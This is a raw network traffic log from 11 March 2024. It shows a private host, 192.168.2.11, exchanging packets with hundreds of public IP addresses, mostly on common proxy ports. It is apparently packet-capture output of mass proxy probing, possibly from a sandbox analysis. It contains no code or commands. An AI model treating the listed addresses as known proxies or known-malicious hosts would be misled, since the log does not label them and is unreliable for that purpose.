Mar 11, 2024 16:42:20.098612070 CET	8080	50854	91.202.230.219	192.168.2.11
Mar 11, 2024 16:42:20.098782063 CET	3629	50403	91.220.69.43	192.168.2.11
Mar 11, 2024 16:42:20.100024939 CET	80	50750	50.175.212.79	192.168.2.11
Mar 11, 2024 16:42:20.100173950 CET	3128	50011	178.128.148.69	192.168.2.11
Mar 11, 2024 16:42:20.100893021 CET	4145	50807	192.111.134.10	192.168.2.11
Mar 11, 2024 16:42:20.101505041 CET	8080	50981	103.190.54.141	192.168.2.11
Mar 11, 2024 16:42:20.101566076 CET	50981	8080	192.168.2.11	103.190.54.141
Mar 11, 2024 16:42:20.101651907 CET	4145	50811	142.54.232.6	192.168.2.11
Mar 11, 2024 16:42:20.102004051 CET	80	50880	186.124.164.213	192.168.2.11
Mar 11, 2024 16:42:20.103714943 CET	8000	50657	14.103.24.20	192.168.2.11
Mar 11, 2024 16:42:20.105454922 CET	8193	50898	211.222.252.187	192.168.2.11
Mar 11, 2024 16:42:20.106674910 CET	80	51039	46.35.9.110	192.168.2.11
Mar 11, 2024 16:42:20.106749058 CET	51039	80	192.168.2.11	46.35.9.110
Mar 11, 2024 16:42:20.107177019 CET	8193	50898	211.222.252.187	192.168.2.11
Mar 11, 2024 16:42:20.108166933 CET	80	50795	50.207.199.87	192.168.2.11
Mar 11, 2024 16:42:20.108382940 CET	4153	50445	179.109.193.228	192.168.2.11
Mar 11, 2024 16:42:20.110387087 CET	50085	9002	192.168.2.11	111.59.4.88
Mar 11, 2024 16:42:20.110394955 CET	50847	26693	192.168.2.11	67.43.236.20
Mar 11, 2024 16:42:20.110394955 CET	49782	50605	192.168.2.11	51.81.89.146
Mar 11, 2024 16:42:20.110397100 CET	50625	8080	192.168.2.11	189.203.201.146
Mar 11, 2024 16:42:20.110409975 CET	50699	1080	192.168.2.11	103.140.205.133
Mar 11, 2024 16:42:20.110419035 CET	50626	999	192.168.2.11	190.97.238.94
Mar 11, 2024 16:42:20.110419989 CET	50138	999	192.168.2.11	45.229.34.174
Mar 11, 2024 16:42:20.110421896 CET	50636	5566	192.168.2.11	195.201.246.166
Mar 11, 2024 16:42:20.110450029 CET	50627	8080	192.168.2.11	45.252.79.48
Mar 11, 2024 16:42:20.110450983 CET	50817	4145	192.168.2.11	103.210.35.40
Mar 11, 2024 16:42:20.110451937 CET	50643	8080	192.168.2.11	165.16.46.193
Mar 11, 2024 16:42:20.110450029 CET	50651	8182	192.168.2.11	120.89.91.222
Mar 11, 2024 16:42:20.110451937 CET	50642	48085	192.168.2.11	45.81.232.17
Mar 11, 2024 16:42:20.110450029 CET	50640	4145	192.168.2.11	202.124.46.65
Mar 11, 2024 16:42:20.110450983 CET	50631	16379	192.168.2.11	51.15.234.222
Mar 11, 2024 16:42:20.110450983 CET	50652	8080	192.168.2.11	181.212.45.226
Mar 11, 2024 16:42:20.110456944 CET	50653	29718	192.168.2.11	92.204.134.38
Mar 11, 2024 16:42:20.110476971 CET	50862	4145	192.168.2.11	199.58.185.9
Mar 11, 2024 16:42:20.110476971 CET	50658	80	192.168.2.11	188.165.213.106
Mar 11, 2024 16:42:20.110482931 CET	50660	80	192.168.2.11	34.154.161.152
Mar 11, 2024 16:42:20.110482931 CET	50664	4153	192.168.2.11	187.122.105.181
Mar 11, 2024 16:42:20.110482931 CET	50654	80	192.168.2.11	3.24.178.81
Mar 11, 2024 16:42:20.110487938 CET	50659	999	192.168.2.11	177.93.45.156
Mar 11, 2024 16:42:20.110594988 CET	50662	4444	192.168.2.11	193.8.87.43
Mar 11, 2024 16:42:20.111551046 CET	80	50947	162.159.241.5	192.168.2.11
Mar 11, 2024 16:42:20.114269972 CET	80	51139	162.159.242.10	192.168.2.11
Mar 11, 2024 16:42:20.114335060 CET	51139	80	192.168.2.11	162.159.242.10
Mar 11, 2024 16:42:20.114423990 CET	5678	51008	185.26.32.93	192.168.2.11
Mar 11, 2024 16:42:20.115206003 CET	5836	50459	185.158.248.95	192.168.2.11
Mar 11, 2024 16:42:20.116885900 CET	31295	50019	67.43.236.20	192.168.2.11
Mar 11, 2024 16:42:20.117240906 CET	26087	50666	67.43.228.253	192.168.2.11
Mar 11, 2024 16:42:20.117297888 CET	5385	50015	72.10.160.170	192.168.2.11
Mar 11, 2024 16:42:20.117455959 CET	8000	50657	14.103.24.20	192.168.2.11
Mar 11, 2024 16:42:20.117682934 CET	15303	50948	184.178.172.5	192.168.2.11
Mar 11, 2024 16:42:20.117747068 CET	15303	50948	184.178.172.5	192.168.2.11
Mar 11, 2024 16:42:20.118154049 CET	31679	50949	98.162.25.29	192.168.2.11
Mar 11, 2024 16:42:20.118202925 CET	31679	50949	98.162.25.29	192.168.2.11
Mar 11, 2024 16:42:20.118379116 CET	34350	50001	66.29.128.246	192.168.2.11
Mar 11, 2024 16:42:20.118752003 CET	4153	50884	212.31.100.138	192.168.2.11
Mar 11, 2024 16:42:20.118870974 CET	50884	4153	192.168.2.11	212.31.100.138
Mar 11, 2024 16:42:20.118979931 CET	8081	51028	185.49.31.207	192.168.2.11
Mar 11, 2024 16:42:20.119071960 CET	51028	8081	192.168.2.11	185.49.31.207
Mar 11, 2024 16:42:20.119817019 CET	80	50880	186.124.164.213	192.168.2.11
Mar 11, 2024 16:42:20.121725082 CET	4145	50775	74.119.147.209	192.168.2.11
Mar 11, 2024 16:42:20.123428106 CET	50649	80	192.168.2.11	162.214.165.203
Mar 11, 2024 16:42:20.123445034 CET	50656	23500	192.168.2.11	109.73.184.94
Mar 11, 2024 16:42:20.123455048 CET	50647	1976	192.168.2.11	41.65.55.10
Mar 11, 2024 16:42:20.123483896 CET	50661	62291	192.168.2.11	161.97.170.209
Mar 11, 2024 16:42:20.123518944 CET	50861	80	192.168.2.11	34.75.202.63
Mar 11, 2024 16:42:20.123521090 CET	49786	31033	192.168.2.11	67.43.228.253
Mar 11, 2024 16:42:20.124524117 CET	31571	50665	72.10.160.170	192.168.2.11
Mar 11, 2024 16:42:20.124538898 CET	8888	50080	93.171.220.229	192.168.2.11
Mar 11, 2024 16:42:20.125994921 CET	50855	28723	192.168.2.11	67.43.227.227
Mar 11, 2024 16:42:20.125999928 CET	50765	80	192.168.2.11	123.110.158.236
Mar 11, 2024 16:42:20.125999928 CET	50302	80	192.168.2.11	50.231.104.58
Mar 11, 2024 16:42:20.126008987 CET	50226	4711	192.168.2.11	67.43.227.227
Mar 11, 2024 16:42:20.126064062 CET	1080	50483	35.154.71.72	192.168.2.11
Mar 11, 2024 16:42:20.126451969 CET	80	51120	50.200.12.82	192.168.2.11
Mar 11, 2024 16:42:20.126821041 CET	8080	50940	47.88.3.19	192.168.2.11
Mar 11, 2024 16:42:20.128556013 CET	18080	50711	152.32.130.117	192.168.2.11
Mar 11, 2024 16:42:20.129730940 CET	4153	50884	212.31.100.138	192.168.2.11
Mar 11, 2024 16:42:20.130592108 CET	3128	49772	46.245.77.52	192.168.2.11
Mar 11, 2024 16:42:20.131323099 CET	4145	51083	174.77.111.197	192.168.2.11
Mar 11, 2024 16:42:20.131432056 CET	51083	4145	192.168.2.11	174.77.111.197
Mar 11, 2024 16:42:20.132452011 CET	44607	49722	162.241.6.97	192.168.2.11
Mar 11, 2024 16:42:20.132589102 CET	3933	50021	67.43.228.253	192.168.2.11
Mar 11, 2024 16:42:20.132715940 CET	8888	50244	194.150.69.56	192.168.2.11
Mar 11, 2024 16:42:20.132765055 CET	50244	8888	192.168.2.11	194.150.69.56
Mar 11, 2024 16:42:20.133579969 CET	51116	3128	192.168.2.11	138.68.60.8
Mar 11, 2024 16:42:20.133908987 CET	51188	20309	192.168.2.11	107.180.90.88
Mar 11, 2024 16:42:20.134325981 CET	51189	5870	192.168.2.11	141.95.160.178
Mar 11, 2024 16:42:20.134541988 CET	51190	8193	192.168.2.11	211.222.252.187
Mar 11, 2024 16:42:20.134666920 CET	51191	8888	192.168.2.11	203.74.125.18
Mar 11, 2024 16:42:20.134783983 CET	51192	5678	192.168.2.11	14.207.206.27
Mar 11, 2024 16:42:20.134927034 CET	51193	8080	192.168.2.11	153.139.233.218
Mar 11, 2024 16:42:20.135070086 CET	51194	666	192.168.2.11	107.172.0.177
Mar 11, 2024 16:42:20.135154009 CET	51195	22942	192.168.2.11	92.204.135.37
Mar 11, 2024 16:42:20.135345936 CET	51196	62969	192.168.2.11	92.204.135.37
Mar 11, 2024 16:42:20.135610104 CET	51197	8080	192.168.2.11	79.110.119.181
Mar 11, 2024 16:42:20.135776997 CET	51039	80	192.168.2.11	46.35.9.110
Mar 11, 2024 16:42:20.135823965 CET	80	51052	185.162.229.70	192.168.2.11
Mar 11, 2024 16:42:20.135835886 CET	80	51052	185.162.229.70	192.168.2.11
Mar 11, 2024 16:42:20.135982037 CET	50981	8080	192.168.2.11	103.190.54.141
Mar 11, 2024 16:42:20.136094093 CET	18080	51041	152.32.130.117	192.168.2.11
Mar 11, 2024 16:42:20.136107922 CET	8080	50108	103.167.68.77	192.168.2.11
Mar 11, 2024 16:42:20.136154890 CET	51041	18080	192.168.2.11	152.32.130.117
Mar 11, 2024 16:42:20.136332989 CET	51199	15303	192.168.2.11	184.178.172.5
Mar 11, 2024 16:42:20.136343956 CET	51198	80	192.168.2.11	50.172.39.98
Mar 11, 2024 16:42:20.136372089 CET	80	51052	185.162.229.70	192.168.2.11
Mar 11, 2024 16:42:20.136420965 CET	51139	80	192.168.2.11	162.159.242.10
Mar 11, 2024 16:42:20.136442900 CET	51052	80	192.168.2.11	185.162.229.70
Mar 11, 2024 16:42:20.136473894 CET	51028	8081	192.168.2.11	185.49.31.207
Mar 11, 2024 16:42:20.136687994 CET	51041	18080	192.168.2.11	152.32.130.117
Mar 11, 2024 16:42:20.136753082 CET	51052	80	192.168.2.11	185.162.229.70
Mar 11, 2024 16:42:20.136778116 CET	51083	4145	192.168.2.11	174.77.111.197
Mar 11, 2024 16:42:20.137042999 CET	50249	1080	192.168.2.11	54.212.22.168
Mar 11, 2024 16:42:20.137185097 CET	49971	80	192.168.2.11	52.196.1.182
Mar 11, 2024 16:42:20.137423038 CET	50884	4153	192.168.2.11	212.31.100.138
Mar 11, 2024 16:42:20.138820887 CET	3128	50691	52.67.10.183	192.168.2.11
Mar 11, 2024 16:42:20.138835907 CET	8081	49719	154.72.90.74	192.168.2.11
Mar 11, 2024 16:42:20.140599966 CET	80	50590	50.222.245.41	192.168.2.11
Mar 11, 2024 16:42:20.140614033 CET	80	50696	50.230.222.202	192.168.2.11
Mar 11, 2024 16:42:20.140625000 CET	9191	50887	51.83.184.241	192.168.2.11
Mar 11, 2024 16:42:20.140961885 CET	64768	49896	173.212.250.16	192.168.2.11
Mar 11, 2024 16:42:20.140975952 CET	80	50582	50.173.140.148	192.168.2.11
Mar 11, 2024 16:42:20.141351938 CET	50691	3128	192.168.2.11	52.67.10.183
Mar 11, 2024 16:42:20.141624928 CET	49788	32221	192.168.2.11	67.43.228.254
Mar 11, 2024 16:42:20.141649008 CET	50825	32650	192.168.2.11	103.216.51.36
Mar 11, 2024 16:42:20.141664028 CET	50827	3629	192.168.2.11	177.86.64.1
Mar 11, 2024 16:42:20.141678095 CET	49965	13623	192.168.2.11	36.255.104.1
Mar 11, 2024 16:42:20.141705990 CET	50669	1080	192.168.2.11	103.234.27.153
Mar 11, 2024 16:42:20.141908884 CET	50483	1080	192.168.2.11	35.154.71.72
Mar 11, 2024 16:42:20.142713070 CET	8888	50834	93.171.220.229	192.168.2.11
Mar 11, 2024 16:42:20.142761946 CET	50834	8888	192.168.2.11	93.171.220.229
Mar 11, 2024 16:42:20.142800093 CET	8888	50834	93.171.220.229	192.168.2.11
Mar 11, 2024 16:42:20.142944098 CET	50834	8888	192.168.2.11	93.171.220.229
Mar 11, 2024 16:42:20.143168926 CET	7497	51058	51.178.51.28	192.168.2.11
Mar 11, 2024 16:42:20.143949032 CET	51200	4153	192.168.2.11	212.31.100.138
Mar 11, 2024 16:42:20.144458055 CET	51201	80	192.168.2.11	186.124.164.213
Mar 11, 2024 16:42:20.144498110 CET	51203	8080	192.168.2.11	91.202.230.219
Mar 11, 2024 16:42:20.144537926 CET	51202	31679	192.168.2.11	98.162.25.29
Mar 11, 2024 16:42:20.144665003 CET	50328	80	192.168.2.11	54.152.3.36
Mar 11, 2024 16:42:20.144831896 CET	51204	8888	192.168.2.11	93.171.220.229
Mar 11, 2024 16:42:20.145059109 CET	4145	50494	142.54.231.38	192.168.2.11
Mar 11, 2024 16:42:20.145071983 CET	8083	51036	185.132.242.212	192.168.2.11
Mar 11, 2024 16:42:20.145133018 CET	51036	8083	192.168.2.11	185.132.242.212
Mar 11, 2024 16:42:20.145334959 CET	51036	8083	192.168.2.11	185.132.242.212
Mar 11, 2024 16:42:20.145452023 CET	4145	51148	162.253.68.97	192.168.2.11
Mar 11, 2024 16:42:20.145535946 CET	51205	8080	192.168.2.11	102.216.69.176
Mar 11, 2024 16:42:20.145827055 CET	51206	80	192.168.2.11	68.185.57.66
Mar 11, 2024 16:42:20.146099091 CET	80	51048	162.159.246.135	192.168.2.11
Mar 11, 2024 16:42:20.146219969 CET	80	51048	162.159.246.135	192.168.2.11
Mar 11, 2024 16:42:20.146466970 CET	51048	80	192.168.2.11	162.159.246.135
Mar 11, 2024 16:42:20.146531105 CET	8000	51030	14.103.24.20	192.168.2.11
Mar 11, 2024 16:42:20.146598101 CET	51030	8000	192.168.2.11	14.103.24.20
Mar 11, 2024 16:42:20.146928072 CET	51030	8000	192.168.2.11	14.103.24.20
Mar 11, 2024 16:42:20.147089005 CET	80	51048	162.159.246.135	192.168.2.11
Mar 11, 2024 16:42:20.147133112 CET	51048	80	192.168.2.11	162.159.246.135
Mar 11, 2024 16:42:20.147332907 CET	51207	80	192.168.2.11	162.241.207.217
Mar 11, 2024 16:42:20.147721052 CET	51208	13341	192.168.2.11	72.10.164.178
Mar 11, 2024 16:42:20.147981882 CET	51209	39533	192.168.2.11	167.172.109.12
Mar 11, 2024 16:42:20.148186922 CET	51210	3256	192.168.2.11	119.84.215.127
Mar 11, 2024 16:42:20.148274899 CET	51211	20806	192.168.2.11	119.29.84.133
Mar 11, 2024 16:42:20.148686886 CET	80	50114	50.145.6.36	192.168.2.11
Mar 11, 2024 16:42:20.148912907 CET	10677	50719	72.10.160.173	192.168.2.11
Mar 11, 2024 16:42:20.149005890 CET	27102	50356	128.199.196.31	192.168.2.11
Mar 11, 2024 16:42:20.149065018 CET	50356	27102	192.168.2.11	128.199.196.31
Mar 11, 2024 16:42:20.149306059 CET	13087	50714	67.43.236.18	192.168.2.11
Mar 11, 2024 16:42:20.149571896 CET	50356	27102	192.168.2.11	128.199.196.31
Mar 11, 2024 16:42:20.149960995 CET	8080	50108	103.167.68.77	192.168.2.11
Mar 11, 2024 16:42:20.149975061 CET	51212	8080	192.168.2.11	139.0.6.11
Mar 11, 2024 16:42:20.150240898 CET	5678	51108	190.113.90.230	192.168.2.11
Mar 11, 2024 16:42:20.150289059 CET	50108	8080	192.168.2.11	103.167.68.77
Mar 11, 2024 16:42:20.150583982 CET	51213	4145	192.168.2.11	125.26.4.197
Mar 11, 2024 16:42:20.151164055 CET	51214	8080	192.168.2.11	103.24.107.186
Mar 11, 2024 16:42:20.151268005 CET	51215	18936	192.168.2.11	37.187.77.58
Mar 11, 2024 16:42:20.151525021 CET	51216	3128	192.168.2.11	66.29.154.103
Mar 11, 2024 16:42:20.151807070 CET	51217	80	192.168.2.11	37.32.40.178
Mar 11, 2024 16:42:20.151875019 CET	15673	51138	23.95.209.142	192.168.2.11
Mar 11, 2024 16:42:20.151935101 CET	51138	15673	192.168.2.11	23.95.209.142
Mar 11, 2024 16:42:20.152136087 CET	51138	15673	192.168.2.11	23.95.209.142
Mar 11, 2024 16:42:20.152616978 CET	51218	5935	192.168.2.11	72.10.164.178
Mar 11, 2024 16:42:20.152775049 CET	51219	8090	192.168.2.11	101.255.140.1
Mar 11, 2024 16:42:20.153479099 CET	51220	11946	192.168.2.11	91.134.140.160
Mar 11, 2024 16:42:20.153716087 CET	51221	4145	192.168.2.11	190.103.29.101
Mar 11, 2024 16:42:20.154184103 CET	51222	80	192.168.2.11	152.230.215.123
Mar 11, 2024 16:42:20.154695988 CET	51223	8089	192.168.2.11	123.182.58.137
Mar 11, 2024 16:42:20.154964924 CET	52395	51070	164.92.237.188	192.168.2.11
Mar 11, 2024 16:42:20.155044079 CET	51070	52395	192.168.2.11	164.92.237.188
Mar 11, 2024 16:42:20.155059099 CET	8083	50567	185.132.242.212	192.168.2.11
Mar 11, 2024 16:42:20.155090094 CET	51224	3128	192.168.2.11	145.239.199.109
Mar 11, 2024 16:42:20.155116081 CET	4153	50469	177.72.82.47	192.168.2.11
Mar 11, 2024 16:42:20.155345917 CET	51225	8080	192.168.2.11	170.210.121.190
Mar 11, 2024 16:42:20.155461073 CET	51070	52395	192.168.2.11	164.92.237.188
Mar 11, 2024 16:42:20.156258106 CET	9050	51124	45.77.108.208	192.168.2.11
Mar 11, 2024 16:42:20.156510115 CET	51226	3128	192.168.2.11	84.17.35.129
Mar 11, 2024 16:42:20.156686068 CET	49478	49730	162.241.70.64	192.168.2.11
Mar 11, 2024 16:42:20.156734943 CET	49730	49478	192.168.2.11	162.241.70.64
Mar 11, 2024 16:42:20.156992912 CET	51227	1455	192.168.2.11	185.202.7.161
Mar 11, 2024 16:42:20.157234907 CET	50676	52858	192.168.2.11	195.177.217.131
Mar 11, 2024 16:42:20.157250881 CET	50680	52173	192.168.2.11	31.24.44.92
Mar 11, 2024 16:42:20.157263994 CET	49716	80	192.168.2.11	50.217.226.43
Mar 11, 2024 16:42:20.157263994 CET	50682	48200	192.168.2.11	43.230.196.98
Mar 11, 2024 16:42:20.157267094 CET	50687	8080	192.168.2.11	160.119.148.190
Mar 11, 2024 16:42:20.157278061 CET	50872	5931	192.168.2.11	72.10.164.178
Mar 11, 2024 16:42:20.157289028 CET	50678	2536	192.168.2.11	148.72.206.84
Mar 11, 2024 16:42:20.157289028 CET	50692	3128	192.168.2.11	176.58.96.11
Mar 11, 2024 16:42:20.157295942 CET	50672	36946	192.168.2.11	207.180.234.220
Mar 11, 2024 16:42:20.157295942 CET	50675	37920	192.168.2.11	37.187.77.58
Mar 11, 2024 16:42:20.158057928 CET	51228	80	192.168.2.11	104.21.85.200
Mar 11, 2024 16:42:20.158799887 CET	51229	48298	192.168.2.11	132.148.167.243
Mar 11, 2024 16:42:20.161623955 CET	51230	8080	192.168.2.11	54.37.196.189
Mar 11, 2024 16:42:20.162703037 CET	8000	50025	14.103.24.148	192.168.2.11
Mar 11, 2024 16:42:20.162832975 CET	8000	50025	14.103.24.148	192.168.2.11
Mar 11, 2024 16:42:20.162847042 CET	8000	50025	14.103.24.148	192.168.2.11
Mar 11, 2024 16:42:20.162870884 CET	50025	8000	192.168.2.11	14.103.24.148
Mar 11, 2024 16:42:20.162928104 CET	50025	8000	192.168.2.11	14.103.24.148
Mar 11, 2024 16:42:20.163223028 CET	50025	8000	192.168.2.11	14.103.24.148
Mar 11, 2024 16:42:20.163480043 CET	11339	50743	67.43.228.251	192.168.2.11
Mar 11, 2024 16:42:20.163821936 CET	26087	50033	67.43.228.251	192.168.2.11
Mar 11, 2024 16:42:20.163961887 CET	23685	50756	72.10.160.90	192.168.2.11
Mar 11, 2024 16:42:20.164253950 CET	8083	50567	185.132.242.212	192.168.2.11
Mar 11, 2024 16:42:20.167011976 CET	4145	51106	184.181.217.210	192.168.2.11
Mar 11, 2024 16:42:20.167093992 CET	51106	4145	192.168.2.11	184.181.217.210
Mar 11, 2024 16:42:20.167359114 CET	51106	4145	192.168.2.11	184.181.217.210
Mar 11, 2024 16:42:20.167467117 CET	80	50806	89.31.143.12	192.168.2.11
Mar 11, 2024 16:42:20.169471979 CET	5430	51059	202.179.184.44	192.168.2.11
Mar 11, 2024 16:42:20.169531107 CET	51059	5430	192.168.2.11	202.179.184.44
Mar 11, 2024 16:42:20.169821978 CET	51059	5430	192.168.2.11	202.179.184.44
Mar 11, 2024 16:42:20.170242071 CET	55994	51140	38.127.179.16	192.168.2.11
Mar 11, 2024 16:42:20.171008110 CET	80	50648	50.173.140.150	192.168.2.11
Mar 11, 2024 16:42:20.172720909 CET	14282	50489	192.252.208.70	192.168.2.11
Mar 11, 2024 16:42:20.172859907 CET	50723	8888	192.168.2.11	35.199.90.225
Mar 11, 2024 16:42:20.172897100 CET	50848	80	192.168.2.11	50.174.145.14
Mar 11, 2024 16:42:20.172899961 CET	50683	3128	192.168.2.11	192.46.229.19
Mar 11, 2024 16:42:20.172900915 CET	50457	80	192.168.2.11	43.231.22.229
Mar 11, 2024 16:42:20.172900915 CET	50704	5678	192.168.2.11	115.243.142.185
Mar 11, 2024 16:42:20.172900915 CET	50883	80	192.168.2.11	50.168.72.122
Mar 11, 2024 16:42:20.172900915 CET	50693	999	192.168.2.11	201.71.3.61
Mar 11, 2024 16:42:20.172908068 CET	14282	50489	192.252.208.70	192.168.2.11
Mar 11, 2024 16:42:20.172908068 CET	50879	10049	192.168.2.11	67.43.227.227
Mar 11, 2024 16:42:20.172919035 CET	50697	24001	192.168.2.11	139.196.186.157
Mar 11, 2024 16:42:20.172919989 CET	50673	8080	192.168.2.11	102.214.104.56
Mar 11, 2024 16:42:20.172921896 CET	50688	44550	192.168.2.11	190.144.224.182
Mar 11, 2024 16:42:20.172924042 CET	50684	61344	192.168.2.11	75.119.145.169
Mar 11, 2024 16:42:20.172929049 CET	50897	4145	192.168.2.11	199.102.107.145
Mar 11, 2024 16:42:20.172934055 CET	80	50017	50.168.210.239	192.168.2.11
Mar 11, 2024 16:42:20.172934055 CET	50700	8080	192.168.2.11	188.132.222.7
Mar 11, 2024 16:42:20.172934055 CET	50674	3128	192.168.2.11	201.243.82.157
Mar 11, 2024 16:42:20.172934055 CET	50701	27207	192.168.2.11	91.134.140.160
Mar 11, 2024 16:42:20.172940016 CET	50689	8080	192.168.2.11	68.188.93.171
Mar 11, 2024 16:42:20.172940016 CET	50698	8080	192.168.2.11	151.22.181.205
Mar 11, 2024 16:42:20.172943115 CET	50702	35396	192.168.2.11	192.163.200.200
Mar 11, 2024 16:42:20.173397064 CET	4145	50399	103.66.233.225	192.168.2.11
Mar 11, 2024 16:42:20.174053907 CET	51231	14282	192.168.2.11	192.252.208.70
Mar 11, 2024 16:42:20.177828074 CET	27639	50586	185.45.194.176	192.168.2.11
Mar 11, 2024 16:42:20.178384066 CET	3128	50422	188.56.223.85	192.168.2.11
Mar 11, 2024 16:42:20.180177927 CET	80	50612	50.174.214.219	192.168.2.11
Mar 11, 2024 16:42:20.181865931 CET	5369	50771	72.10.160.171	192.168.2.11
Mar 11, 2024 16:42:20.183214903 CET	5432	50905	45.196.148.67	192.168.2.11
Mar 11, 2024 16:42:20.183621883 CET	4145	50978	174.64.199.82	192.168.2.11
Mar 11, 2024 16:42:20.183634996 CET	4145	50978	174.64.199.82	192.168.2.11
Mar 11, 2024 16:42:20.184046984 CET	4145	50980	174.75.211.222	192.168.2.11
Mar 11, 2024 16:42:20.184201956 CET	4145	50980	174.75.211.222	192.168.2.11
Mar 11, 2024 16:42:20.184403896 CET	4145	50979	24.249.199.4	192.168.2.11
Mar 11, 2024 16:42:20.184577942 CET	4145	50979	24.249.199.4	192.168.2.11
Mar 11, 2024 16:42:20.185271025 CET	4153	50681	170.81.108.46	192.168.2.11
Mar 11, 2024 16:42:20.186976910 CET	51232	4145	192.168.2.11	174.75.211.222
Mar 11, 2024 16:42:20.187190056 CET	51233	4145	192.168.2.11	24.249.199.4
Mar 11, 2024 16:42:20.187851906 CET	8888	50255	3.25.234.175	192.168.2.11
Mar 11, 2024 16:42:20.188491106 CET	50095	31979	192.168.2.11	51.77.65.164
Mar 11, 2024 16:42:20.188507080 CET	50708	9002	192.168.2.11	221.6.139.190
Mar 11, 2024 16:42:20.188508034 CET	49985	45639	192.168.2.11	103.212.93.241
Mar 11, 2024 16:42:20.188522100 CET	50713	8187	192.168.2.11	176.8.230.197
Mar 11, 2024 16:42:20.188522100 CET	50707	4145	192.168.2.11	61.7.183.101
Mar 11, 2024 16:42:20.188539982 CET	50744	43328	192.168.2.11	192.169.226.96
Mar 11, 2024 16:42:20.188540936 CET	50732	8080	192.168.2.11	165.227.95.2
Mar 11, 2024 16:42:20.188541889 CET	50709	2222	192.168.2.11	223.25.100.42
Mar 11, 2024 16:42:20.188541889 CET	50722	8080	192.168.2.11	154.126.81.163
Mar 11, 2024 16:42:20.188543081 CET	50715	8080	192.168.2.11	188.132.222.38
Mar 11, 2024 16:42:20.188541889 CET	50729	80	192.168.2.11	139.99.244.154
Mar 11, 2024 16:42:20.188541889 CET	50745	5678	192.168.2.11	115.75.160.196
Mar 11, 2024 16:42:20.188558102 CET	50716	5678	192.168.2.11	196.61.44.54
Mar 11, 2024 16:42:20.188559055 CET	50717	3128	192.168.2.11	51.178.165.36
Mar 11, 2024 16:42:20.188559055 CET	50718	999	192.168.2.11	157.100.6.202
Mar 11, 2024 16:42:20.188570976 CET	50726	7999	192.168.2.11	122.185.198.242
Mar 11, 2024 16:42:20.188570976 CET	50727	15805	192.168.2.11	172.93.111.87
Mar 11, 2024 16:42:20.188587904 CET	50736	62916	192.168.2.11	51.222.241.8
Mar 11, 2024 16:42:20.188591957 CET	50735	36779	192.168.2.11	147.124.212.31
Mar 11, 2024 16:42:20.188592911 CET	50728	17639	192.168.2.11	45.81.232.17
Mar 11, 2024 16:42:20.188596010 CET	50741	1080	192.168.2.11	143.137.116.72
Mar 11, 2024 16:42:20.188606024 CET	50746	3128	192.168.2.11	103.28.121.58
Mar 11, 2024 16:42:20.188625097 CET	50749	1976	192.168.2.11	217.52.247.86
Mar 11, 2024 16:42:20.188623905 CET	50751	8080	192.168.2.11	165.16.67.238
Mar 11, 2024 16:42:20.188643932 CET	50748	80	192.168.2.11	190.5.77.211
Mar 11, 2024 16:42:20.189234972 CET	51234	5678	192.168.2.11	130.193.123.34
Mar 11, 2024 16:42:20.189470053 CET	51235	80	192.168.2.11	50.218.57.66
Mar 11, 2024 16:42:20.189657927 CET	51236	8004	192.168.2.11	114.99.12.249
Mar 11, 2024 16:42:20.189757109 CET	51237	1080	192.168.2.11	81.21.82.116
Mar 11, 2024 16:42:20.189939976 CET	51238	14455	192.168.2.11	192.252.209.155
Mar 11, 2024 16:42:20.189979076 CET	3128	49910	194.182.187.78	192.168.2.11
Mar 11, 2024 16:42:20.190274954 CET	51240	1080	192.168.2.11	121.129.47.25
Mar 11, 2024 16:42:20.190324068 CET	51239	2004	192.168.2.11	103.174.178.249
Mar 11, 2024 16:42:20.190521955 CET	51241	999	192.168.2.11	181.112.164.219
Mar 11, 2024 16:42:20.190689087 CET	51242	6940	192.168.2.11	51.68.230.210
Mar 11, 2024 16:42:20.190749884 CET	3128	50560	213.131.230.161	192.168.2.11
Mar 11, 2024 16:42:20.190867901 CET	51244	44827	192.168.2.11	62.171.131.101
Mar 11, 2024 16:42:20.191018105 CET	51243	4145	192.168.2.11	68.71.247.130
Mar 11, 2024 16:42:20.191246033 CET	51245	8080	192.168.2.11	95.47.119.122
Mar 11, 2024 16:42:20.191457987 CET	51246	8080	192.168.2.11	194.247.173.17
Mar 11, 2024 16:42:20.191683054 CET	51247	9090	192.168.2.11	189.240.60.164
Mar 11, 2024 16:42:20.191819906 CET	51249	48678	192.168.2.11	37.207.45.15
Mar 11, 2024 16:42:20.191915989 CET	51248	36181	192.168.2.11	69.61.200.104
Mar 11, 2024 16:42:20.192065954 CET	51250	55443	192.168.2.11	77.233.5.68
Mar 11, 2024 16:42:20.192271948 CET	51251	80	192.168.2.11	172.64.152.98
Mar 11, 2024 16:42:20.192560911 CET	80	50457	43.231.22.229	192.168.2.11
Mar 11, 2024 16:42:20.192596912 CET	51252	4300	192.168.2.11	92.205.61.38
Mar 11, 2024 16:42:20.193263054 CET	51253	13477	192.168.2.11	72.10.160.93
Mar 11, 2024 16:42:20.193531036 CET	51254	30717	192.168.2.11	72.10.164.178
Mar 11, 2024 16:42:20.193861961 CET	27391	50464	72.195.34.60	192.168.2.11
Mar 11, 2024 16:42:20.193938971 CET	50464	27391	192.168.2.11	72.195.34.60
Mar 11, 2024 16:42:20.194149971 CET	50464	27391	192.168.2.11	72.195.34.60
Mar 11, 2024 16:42:20.194494009 CET	51255	64081	192.168.2.11	107.180.90.88
Mar 11, 2024 16:42:20.195437908 CET	3128	50873	5.189.158.162	192.168.2.11
Mar 11, 2024 16:42:20.195700884 CET	50255	8888	192.168.2.11	3.25.234.175
Mar 11, 2024 16:42:20.195719004 CET	15082	49724	45.77.111.135	192.168.2.11
Mar 11, 2024 16:42:20.196656942 CET	51256	999	192.168.2.11	45.230.49.2
Mar 11, 2024 16:42:20.196860075 CET	51257	80	192.168.2.11	181.120.28.228
Mar 11, 2024 16:42:20.197164059 CET	51258	29813	192.168.2.11	72.10.160.90
Mar 11, 2024 16:42:20.197407007 CET	51259	9090	192.168.2.11	209.250.230.101
Mar 11, 2024 16:42:20.198136091 CET	51260	54321	192.168.2.11	47.180.63.37
Mar 11, 2024 16:42:20.198753119 CET	51261	80	192.168.2.11	51.210.127.15
Mar 11, 2024 16:42:20.200114012 CET	51262	999	192.168.2.11	45.186.106.159
Mar 11, 2024 16:42:20.200186014 CET	4145	50147	184.170.249.65	192.168.2.11
Mar 11, 2024 16:42:20.200294018 CET	51263	63212	192.168.2.11	148.72.215.79
Mar 11, 2024 16:42:20.200309992 CET	51264	5432	192.168.2.11	31.204.28.96
Mar 11, 2024 16:42:20.200375080 CET	14921	50131	192.252.211.197	192.168.2.11
Mar 11, 2024 16:42:20.201152086 CET	51265	80	192.168.2.11	37.235.48.19
